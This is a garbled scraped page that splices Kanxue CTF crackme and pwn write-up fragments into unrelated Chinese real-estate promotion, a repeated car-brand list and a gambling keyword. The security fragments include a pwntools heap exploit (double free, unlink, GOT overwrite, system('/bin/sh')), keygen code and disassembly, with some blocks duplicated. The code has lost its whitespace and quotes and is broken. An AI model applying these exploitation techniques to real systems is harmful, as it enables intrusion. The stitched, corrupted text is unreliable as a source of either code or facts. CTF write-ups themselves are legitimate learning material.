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--请选择-----(A)阿斯顿马丁------(A)奥迪---一汽奥迪进口奥迪---(B)宝骏---上汽通用五菱(宝骏)---(B)标致---东风标致---(B)奔腾---一汽奔腾---(B)宝马---华晨宝马进口宝马---(B)别克---上海通用别克进口别克---(B)本田---广汽本田东风本田---(B)北汽制造---北汽制造---(B)比亚迪---比亚迪---(B)奔驰---北京奔驰奔驰smart进口奔驰奔驰-AMG---(B)北京汽车---北京汽车---(B)北汽威旺---北汽威旺---(B)北汽银翔---北汽幻速---(C)昌河---昌河汽车---(C)长安---长安汽车---(C)长城---长城汽车---(D)大众---一汽大众上海大众---(D)东南---东南汽车---(D)东风风行---东风风行---(F)福特---长安福特江铃福特---(F)丰田---一汽丰田广汽丰田---(F)菲亚特---进口菲亚特广汽菲克---(F)风神---东风风神---(F)福田---福田汽车---(G)广汽---广汽传祺---(G)观致---观致汽车---(H)海马---海马汽车---(H)红旗---一汽红旗---(H)华泰---华泰汽车---(H)哈弗---长城汽车---(J)捷豹---进口捷豹---(J)吉普---进口JEEP吉普---(J)金杯---华晨金杯---(J)江淮---江淮汽车---(J)江铃---江铃汽车---(J)吉利汽车---吉利汽车---(K)克莱斯勒---进口克莱斯勒---(K)凯迪拉克---通用凯迪拉克进口凯迪拉克---(K)开瑞---开瑞汽车---(L)铃木---长安铃木昌河铃木进口铃木---(L)路虎---进口路虎奇瑞捷豹路虎---(L)雷克萨斯---进口雷克萨斯---(L)雷诺---进口雷诺---(L)林肯---进口林肯---(L)陆风---陆风汽车---(L)力帆---力帆汽车---(M)马自达---一汽马自达长安马自达---(M)迷你---进口迷你---(M)MG---上汽MG---(M)玛莎拉蒂---进口玛莎拉蒂---(N)纳智捷---东风裕隆---(O)讴歌---进口讴歌---(Q)起亚---东风悦达起亚进口起亚---(Q)奇瑞---奇瑞汽车---(Q)启辰---东风日产启辰---(R)荣威---上汽荣威---(R)日产---东风日产郑州日产---(S)斯柯达---上海大众斯柯达---(S)斯巴鲁---进口斯巴鲁---(S)双环---双环汽车---(S)三菱---东南三菱广汽三菱---(S)上汽大通---上汽商用车---(S)思铭---东风本田-思铭---(W)沃尔沃---长安沃尔沃进口沃尔沃沃尔沃亚太---(X)雪佛兰---上海通用雪佛兰上汽通用五菱雪佛兰进口雪佛兰---(X)现代---北京现代---(X)雪铁龙---东风雪铁龙进口雪铁龙DS---(Y)一汽---一汽吉林天津一汽---(Y)英菲尼迪---进口英菲尼迪---(Z)中华---中华轿车---(Z)中欧---中欧汽车---(Z)众泰---众泰汽车--请选择-----(A)阿斯顿马丁------(A)奥迪---一汽奥迪进口奥迪---(B)宝骏---上汽通用五菱(宝骏)---(B)标致---东风标致---(B)奔腾---一汽奔腾---(B)宝马---华晨宝马进口宝马---(B)别克---上海通用别克进口别克---(B)本田---广汽本田东风本田---(B)北汽制造---北汽制造---(B)比亚迪---比亚迪---(B)奔驰---北京奔驰奔驰smart进口奔驰奔驰-AMG---(B)北京汽车---北京汽车---(B)北汽威旺---北汽威旺---(B)北汽银翔---北汽幻速---(C)昌河---昌河汽车---(C)长安---长安汽车---(C)长城---长城汽车---(D)大众---一汽大众上海大众---(D)东南---东南汽车---(D)东风风行---东风风行---(F)福特---长安福特江铃福特---(F)丰田---一汽丰田广汽丰田---(F)菲亚特---进口菲亚特广汽菲克---(F)风神---东风风神---(F)福田---福田汽车---(G)广汽---广汽传祺---(G)观致---观致汽车---(H)海马---海马汽车---(H)红旗---一汽红旗---(H)华泰---华泰汽车---(H)哈弗---长城汽车---(J)捷豹---进口捷豹---(J)吉普---进口JEEP吉普---(J)金杯---华晨金杯---(J)江淮---江淮汽车---(J)江铃---江铃汽车---(J)吉利汽车---吉利汽车---(K)克莱斯勒---进口克莱斯勒---(K)凯迪拉克---通用凯迪拉克进口凯迪拉克---(K)开瑞---开瑞汽车---(L)铃木---长安铃木昌河铃木进口铃木---(L)路虎---进口路虎奇瑞捷豹路虎---(L)雷克萨斯---进口雷克萨斯---(L)雷诺---进口雷诺---(L)林肯---进口林肯---(L)陆风---陆风汽车---(L)力帆---力帆汽车---(M)马自达---一汽马自达长安马自达---(M)迷你---进口迷你---(M)MG---上汽MG---(M)玛莎拉蒂---进口玛莎拉蒂---(N)纳智捷---东风裕隆---(O)讴歌---进口讴歌---(Q)起亚---东风悦达起亚进口起亚---(Q)奇瑞---奇瑞汽车---(Q)启辰---东风日产启辰---(R)荣威---上汽荣威---(R)日产---东风日产郑州日产---(S)斯柯达---上海大众斯柯达---(S)斯巴鲁---进口斯巴鲁---(S)双环---双环汽车---(S)三菱---东南三菱广汽三菱---(S)上汽大通---上汽商用车---(S)思铭---东风本田-思铭---(W)沃尔沃---长安沃尔沃进口沃尔沃沃尔沃亚太---(X)雪佛兰---上海通用雪佛兰上汽通用五菱雪佛兰进口雪佛兰---(X)现代---北京现代---(X)雪铁龙---东风雪铁龙进口雪铁龙DS---(Y)一汽---一汽吉林天津一汽---(Y)英菲尼迪---进口英菲尼迪---(Z)中华---中华轿车---(Z)中欧---中欧汽车---(Z)众泰---众泰汽车,首先你这个问题需要根据你的预算和具体需求。总结第一次在看雪发帖,写了这么多,既是与大家分享,也是对自己这段时间的纪念。用对文件解包后,发现目录有个不同的文件,如下,其中文件夹下的文件才是我的系统需要的,分析此文件。 建筑高度:1栋住宅楼(37+1F),2#住宅楼(37+1F),3#办公楼(20+1F),4#幼儿园,5#保障房(保障房24+2F)。    免责声明:    1、文章部分图片来于”百度图片“、“项目效果图”;    2、因文章中文字和图片之间亦无必然联系,仅供读者参考;    3、我们所转载的所有文章、图片、音频视频文件等资料版权归版权所有人所有,因非原创文章及图片等内容无法和版权者联系,如原作者或编辑认为作品不宜上网供大家浏览,或不应无偿使用,请及时通知我们,以迅速采取适当措施,避免给双方造成不必要的经济损失。原来以为是要hash碰撞,后来发现根本不用,只需要把sm3的值贴在base64的后边即可。(5)show_success_402030拼接字符串Success^^!并显示在窗体上。。(4)if(_mbsicmp(v8,a888aeda4ab))截取的字符串与888aeda4ab比较。于是,打开OllyDBG,直接go到该地址处(0x7582030B):通过往上翻看,查找代码来源,可以得知,这段代码确实来自于UnhandleExceptionFilter函数中。?武汉市的141户首套刚需购房家庭3日成功选到金地悦江时代项目一期4、7号楼的房子,标志着武汉市正式启动刚需家庭首次购买商品住房优先选房试点工作。重点关注的楼盘华强城,这个楼盘老牛关注了3年,相信很多人也在一直盯着这个项目。 根据相同两个操作数异或为零的特性,只要其余十个字符成五对或全部相同即可忽略,于是可以快速得到几组key"","^^^^^^^^^^^","~~~~~~~~~~~""AABBCCDDEE","ABABCDCDEE"即只要是"","^","~"三个字符中的任意一个加上其他五对字符,位置任意,就是可行的key,这是其中一种解集。对于所有到访的业主与客户朋友而言,龙光·玖钻锻造的这段幸福亲子时刻,将形成永恒。2018年,各地楼市会松绑么?答案是否定的。,string_sm3=sm3(string);for(i=0;i32;++i)j__sprintf(v10[2*i],"%02x",v11[i]);v4=j__strlen(v10);v5=String+j__strlen(String);v6=j__strlen(v10);//输入的base64串的后64位与原始字符串的sm3值相等if(!j__memcmp(v10,v5[-v6],v4))接着是比较string_sm3是否等于输入的64位时候相等。,详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:该项目全长约87公里,线路起于广州花都,经东莞虎门、长安等地,至深圳机场(预留延长至深圳福田中心区),预计在2018建成通车。 里面涉及了两个结构体,分别是accountInfo和roleInfo,其实后面的游戏里还有一个物品信息的结构体,不过解题没用上,就不写了。扫以下二维码即可加入。E户型建筑面积约87㎡可做三房两厅两卫仅分布与1栋3a,通透户型,通风采光较佳,功能分布较好,入户们处空间可做房间使用。1栋A座单位距离道路相对较近,相对比较容易受到噪音影响,其他单位南看花园。。2017年惠州一手住宅销售面积为1392万平方米,环比下跌%,供需面积接近。完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet) 在消息响应函数Hi_ctrl_WM_COMMAND_handler_sub_403E80中通过调用Hi_update_sub_41C31A(True)更新编辑框内容到关联的控件成员变量中.text::00403EB4movecx,[ebp+var_118_thisPtr].text:00403EBAcallHi_update_sub_41C31A通过调用Hi_update_sub_41C31A中调用Hi_getEditText_sub_403B600041C361calldwordptr[eax+100h];Hi_getEditText_sub_403B60Hi_getEditText_sub_403B60如下,可见edit控件关联的字符串成员变量在偏移处.text:00403B63leaeax,[ecx+0C0h].text:00403B69pusheax;::00403B6Fpush[ebp+arg_0]:00403B72callHi_InP2DlgID_OutP3text_sub_416F7A下述代码将注册码通过Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30函数分成两部分粗放于两个元素的CStr数组中var_18_2Cstr。前一段时间,南京、兰州等地的楼市新政,引发了部分媒体“楼市要松绑”的猜想。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。  (2)滨海湾新区对接粤港澳大湾区的门户  10月12日,滨海湾新区正式挂牌,面积扩容至平方公里。,解题过程1.查看程序1.题目提示要在xp下运行,看了看资源,发现有驱动,将文件提取出来,用PEID的算法插件KANAL扫描驱动,发现有MD5算法:2.用OD加载程序CrakeME,下断点CreateFileA,一次断在释放驱动的时候,另一次断在加载驱动的时候:00401DE8|.53PUSHEBX/hTemplateFile=NULL00401DE9|.6880000000PUSH0x80|Attributes=NORMAL00401DEE|.6A03PUSH0x3|Mode=OPEN_EXISTING00401DF0|.53PUSHEBX|pSecurity=NULL00401DF1|.53PUSHEBX|ShareMode=000401DF2|.68000000C0PUSH0xC0000000|Access=GENERIC_READ|GENERIC_WRITE00401DF7|.|FileName=\\.\vmxdrv00401DFC|.FF1588324200CALLNEARDWORDPTRDS:[\CreateFileA在CreateFileA的下一条指令下断点,运行程序,程序直接出错退出。此次针对女性房东个人属性标签的统计还发现,在国内一线城市中,八成以上女性房东为已婚,但%的女性尚未生育。真钱娱乐,而且,罗湖最近要“搞大事”,他们准备再造一个“新罗湖”!未来,这里将成为摩天大楼聚集地,700+米的“深圳塔”、830米的湖贝塔将慢慢崛起……大梧桐新兴产业带、红岭创新金融产业带、口岸经济带将带来一个全新的产业结构;我们最熟悉的东门商圈也在改造升级!虽然暂时落后,但仍不放弃努力~罗湖加油吧~6、龙华区2017年GDP预计超过2100亿元,位居全市第6,增长%左右;龙华就像一个脾气很好的小伙伴,荣升“深圳人最喜欢调侃的区域”,“宇宙中心”是他最响亮的名号。return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件: 坪山还出实招引进博士后科研人才和高校毕业生,给予在站博士后每人每年15万元生活补贴,给予就业并落户坪山区的大学生最高5万元的一次性生活补贴。此外,京基·御景峯还毗邻塘朗山、西丽湖等千万平生态风光,无缝接驳长岭陂站,扼守深圳北、西丽双高铁门户,奢享生态、教育、交通、商业、文体等全优级综合配套,构筑上层品质生活。融悦山居安居房共提供6栋2281套房源,前期网上认购已结束,项目主要户型为平2房,B区配售单价为6711-8171元/平,均价为7515元/平;C区配售单价为6845-7575元/平,均价7218元/平,预计2018年3月底交付使用。完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet)。有反调试,用IDA打开程序,发现了IsDebuggerPresent,这个应该不会导致程序崩溃。上述房地产在不改变土地用途的情况下,按有偿使用土地的原则延长土地使用年期,其中一种延长方式就是补交地价签订土地出让合同,在国家规定的最长土地使用年期减去已使用年期的剩余年期范围内约定年期内,补交地价数额为相应用途公告基准地价的35%。、return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件:没有查这个结构体,据猜测应该是把调试端口清零了。于是我们可以大胆猜测,UnhandledExceptionFilter函数包含着重要跳转,是我们打补丁的目标。,主卧阳台改小房间不利于独立使用,入户门方向直面生活空间不利于室内隐私保护,可考虑做个门厅调整。项目产品打造秉承“勇于创新”的理念,采用精奢港π实用设计,让小空间也能拥有大世界,容纳家与梦想,让生活充满想象。突破口在于迭代异或预算的交换和合并性质以及chip代码的特征。最后就是刚刚被叫停的开发贷。先看了字符串:FileMonitor-Sysinternals::检测了一堆进程,以这个作为已知条件,很容易找到代码(起始直接看winmain就好)int__stdcallsub_434EF0(HWNDhDlg,inta2,inta3,inta4){size_tv4;//ST0C_4CHAR*v5;//esisize_tv6;//eaxintv8;//[esp+Ch][ebp-1A40h]inti;//[esp+1C4h][ebp-1888h]charv10[1032];//[esp+1D0h][ebp-187Ch]unsigned__int8v11[40];//[esp+5D8h][ebp-1474h]size_tv12;//[esp+600h][ebp-144Ch]_BYTEv13[1032];//[esp+60Ch][ebp-1440h]charv14;//[esp+A14h][ebp-1038h]charv15;//[esp+A15h][ebp-1037h]charv16;//[esp+E1Ch][ebp-C30h]charv17;//[esp+E1Dh][ebp-C2Fh]CHARString;//[esp+1224h][ebp-828h]charv19;//[esp+1225h][ebp-827h]UINTv20;//[esp+162Ch][ebp-420h]charv21;//[esp+1638h][ebp-414h]charv22;//[esp+1639h][ebp-413h]intv23;//[esp+1A40h][ebp-Ch]v23=0;v21=0;j__memset(v22,0,0x3FFu);v8=a2;if(a2==16)ExitProcess(0);if(v8==WM_INITDIALOG){v23=sub_42D4F1();if(v23==1)ExitProcess(0);v23=0;v23=sub_42E428();if(v23==1)ExitProcess(0);v23=0;v23=sub_42D825();if(v23==1)ExitProcess(0);sub_42D14F(hDlg,1);return0;}if(v8!=WM_COMMAND)return0;v8=(unsigned__int16)a3;if((unsigned__int16)a3==1002){String=0;j__memset(v19,0,0x3FFu);v16=0;j__memset(v17,0,0x3FFu);v20=GetDlgItemTextA(hDlg,1001,String,1025);v14=0;j__memset(v15,0,0x3FFu);base64_decode_42D267((int)String,1024,(int)v16);v13[0]=0;j__memset(v13[1],0,0x3FFu);base64_decode_42D267((int)v16,1024,(int)v14);trans_42D96A(v14,(int)v13,1024);v12=3;sm3_42DA78(v14,3u,(int)v11);for(i=0;i32;++i)j__sprintf(v10[2*i],"%02x",v11[i]);v4=j__strlen(v10);v5=String+j__strlen(String);v6=j__strlen(v10);//输入的base64串的后64位与原始字符串的sm3值相等if(!j__memcmp(v10,v5[-v6],v4)){sub_42D0B4();if(sub_42D9AB((int)byte_49B000,(int)v13)==1)MessageBoxA(0,"ok","CrackMe",0);}}return1;}对话框的窗口回调函数。,这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4